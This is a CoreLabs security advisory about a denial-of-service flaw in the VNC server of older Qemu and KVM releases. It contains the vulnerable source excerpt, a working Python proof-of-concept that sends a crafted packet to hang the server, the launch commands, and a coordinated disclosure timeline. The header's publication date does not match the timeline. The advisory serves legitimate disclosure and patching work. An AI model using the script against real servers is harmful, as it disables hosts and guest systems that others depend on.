Core Security Technologies Advisory 2008.1210

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Core Security Technologies - CoreLabs Advisory  
http://www.coresecurity.com/corelabs/  
  
Qemu and KVM VNC server remote DoS  
  
  
  
1. *Advisory Information*  
  
Title: Qemu and KVM VNC server remote DoS  
Advisory ID: CORE-2008-1210  
Advisory URL: http://www.coresecurity.com/content/vnc-remote-dos  
Date published: 2009-12-22  
Date of last update: 2008-12-19  
Vendors contacted: Qemu and KVM teams  
Release mode: Coordinated release  
  
  
2. *Vulnerability Information*  
  
Class: Denial of service (DoS)  
Remotely Exploitable: Yes  
Locally Exploitable: No  
Bugtraq ID: 32910  
CVE Name: N/A  
  
  
3. *Vulnerability Description*  
  
The VNC server of Qemu and KVM virtualization solutions are vulnerable  
to a remote DoS, when specially crafted packets are received by the host  
VNC server causing an infinite loop.  
  
Successful exploitation causes the host server to enter an infinite loop  
and cease to function. The vulnerability can be triggered remotely by  
external hosts or virtualized guests. No special privileges are required  
to perform the Denial of Service.  
  
  
4. *Vulnerable packages*  
  
. Qemu 0.9.1 and older  
. kvm-79 and older  
  
  
5. *Vendor Information, Solutions and Workarounds*  
  
Qemu and KVM teams will release patches that fix this vulnerability.  
  
  
6. *Credits*  
  
This vulnerability was discovered and researched by Alfredo Ortega from  
Core Security Technologies.  
  
  
7. *Technical Description / Proof of Concept Code*  
  
The function 'protocol_client_msg()' in the file 'vnc.c' ('qemu/vnc.c'  
in kvm-66) is in charge of processing incoming VNC low-level messages. A  
listing of the vulnerable source follows:  
  
/-----------  
  
vnc.c  
1185: static int protocol_client_msg(VncState *vs, uint8_t *data, size_t  
len)  
1186: {  
1187: int i;  
1188: uint16_t limit;  
1189:   
1190: switch (data[0]) {  
  
...  
  
1201: case 2:  
1202: if (len == 1)  
1203: return 4;  
1204:   
1205: if (len == 4)  
1206: return 4 + (read_u16(data, 2) * 4);  
  
- -----------/  
  
When the VNC server receives a message consisting of '\x02\x00\x00\x00'  
the 'read_u16()' function will return zero, and an infinite loop will be  
triggered, because this function will be called with the len parameter  
always equal to 4.  
  
  
7.1. *Proof of Concept*  
  
The following python script implements a basic VNC client that triggers  
the vulnerability on the VNC server.  
  
*NOTE:* Some VNC servers like KVM, don't bind to 0.0.0.0 by default, but  
the server can still be reached from a guest VM when no VNC client is  
attached.  
  
  
/-----------  
  
Example:  
  
Launch vulnerable qemu:  
  
~$qemu ./test.img - -vnc 0.0.0.0:0  
  
Launch attack:  
  
~$python qemu-kvm-DoS.py localhost 5900  
  
- -----------/  
  
  
  
/-----------  
  
##  
## vnc remote DoS  
##  
  
import socket  
import time  
import struct  
import sys  
  
if len(sys.argv)<3:  
print "Usage: %s host port" % sys.argv[0]  
exit(0)  
  
host = sys.argv[1] # "127.0.0.1" # debian 4  
port = int(sys.argv[2]) # 5900  
  
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect((host,port))  
# rec-send versions  
srvversion = s.recv(100)  
cliversion=srvversion  
s.send(cliversion)  
print "Server version: %s" % srvversion  
  
#Security types  
  
sec=s.recv(100)  
print "Number of security types: %d" % ord(sec[0])  
s.send(sec[1])  
  
# Authentication result  
auth=s.recv(100)  
if auth=="\x00\x00\x00\x00":  
print "Auth ok."  
  
# Share desktop flag: no  
s.send("\x00")  
  
# Server framebuffer parameters:  
framebuf=s.recv(100)  
  
# Trigger the bug  
s.send("\x02\x00\x00\x00\x00\xff"+struct.pack("<L",1)*5)  
  
s.close()  
  
- -----------/  
  
  
  
8. *Report Timeline*  
  
. 2008-12-10: Core Security Technologies notifies the Qemu, Xen and KVM  
teams of the vulnerability.  
. 2008-12-11: KVM team acknowledges notification.  
. 2008-12-12: Core sends technical details of the vulnerability to the  
KVM team.  
. 2008-12-13: KVM team informs that it will inform the Qemu team, since  
the vulnerable code is inherited from Qemu.  
. 2008-12-16: Core replies that the vulnerability is present in Qemu,  
KVM and Xen, and that its intention is to coordinate the disclosure of  
this issue with the three teams. The proposed publication date is  
January 5th, 2009.  
. 2008-12-16: Xen team acknowledges notification.  
. 2008-12-16: Core sends technical details to the Xen team.  
. 2008-12-16: Qemu team confirms the vulnerability, and has patches ready.  
. 2008-12-17: Xen informs that they are not vulnerable.  
. 2008-12-17: Core proposes to disclose the issue on December 22nd,  
2008, if both Qemu and KVM have patches ready.  
. 2008-12-18: Qemu and KVM teams agree to publish the issue on Dec 22.  
. 2008-12-22: The advisory CORE-2008-1210 is published.  
  
  
9. *About CoreLabs*  
  
CoreLabs, the research center of Core Security Technologies, is charged  
with anticipating the future needs and requirements for information  
security technologies. We conduct our research in several important  
areas of computer security including system vulnerabilities, cyber  
attack planning and simulation, source code auditing, and cryptography.  
Our results include problem formalization, identification of  
vulnerabilities, novel solutions and prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
http://www.coresecurity.com/corelabs.  
  
  
10. *About Core Security Technologies*  
  
Core Security Technologies develops strategic solutions that help  
security-conscious organizations worldwide develop and maintain a  
proactive process for securing their networks. The company's flagship  
product, CORE IMPACT, is the most comprehensive product for performing  
enterprise security assurance testing. CORE IMPACT evaluates network,  
endpoint and end-user vulnerabilities and identifies what resources are  
exposed. It enables organizations to determine if current security  
investments are detecting and preventing attacks. Core Security  
Technologies augments its leading technology solution with world-class  
security consulting services, including penetration testing and software  
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core  
Security Technologies can be reached at 617-399-6980 or on the Web at  
http://www.coresecurity.com.  
  
  
11. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2008 Core Security  
Technologies and (c) 2008 CoreLabs, and may be distributed freely  
provided that no fee is charged for this distribution and proper credit  
is given.  
  
  
12. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
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